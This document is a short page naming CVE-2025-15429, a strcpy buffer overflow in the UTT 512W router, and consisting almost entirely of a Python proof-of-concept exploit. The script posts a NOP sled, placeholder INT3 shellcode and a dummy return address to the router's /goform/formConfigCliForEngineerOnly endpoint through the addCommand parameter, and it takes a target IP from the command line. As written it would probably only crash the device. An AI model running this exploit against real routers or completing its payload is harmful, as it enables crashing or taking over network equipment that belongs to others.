CVE-2025-15429: UTT 512W路由器strcpy缓冲区溢出漏洞

import requests import sys # CVE-2025-15429 PoC - UTT 512W Buffer Overflow # Target: UTT 进取 512W 1.7.7-171114 # Vulnerability: Buffer overflow in /goform/formConfigCliForEngineerOnly via addCommand parameter def exploit(target_ip, target_port=80): """Exploit buffer overflow in UTT 512W router""" target_url = f"http://{target_ip}:{target_port}/goform/formConfigCliForEngineerOnly" # Generate payload with large string to overflow buffer # NOP sled + shellcode + return address padding = b"\x90" * 1000 # NOP sled shellcode = b"\xcc" * 200 # Placeholder shellcode (INT3 for debugging) ret_addr = b"\x42\x42\x42\x42" # Target address (needs to be adjusted) payload = padding + shellcode + ret_addr # Send exploit request data = { 'addCommand': payload.decode('latin-1') } try: print(f"[*] Sending exploit to {target_url}") print(f"[*] Payload length: {len(payload)} bytes") response = requests.post(target_url, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[*] Exploit sent. Check device for crash or successful exploitation.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)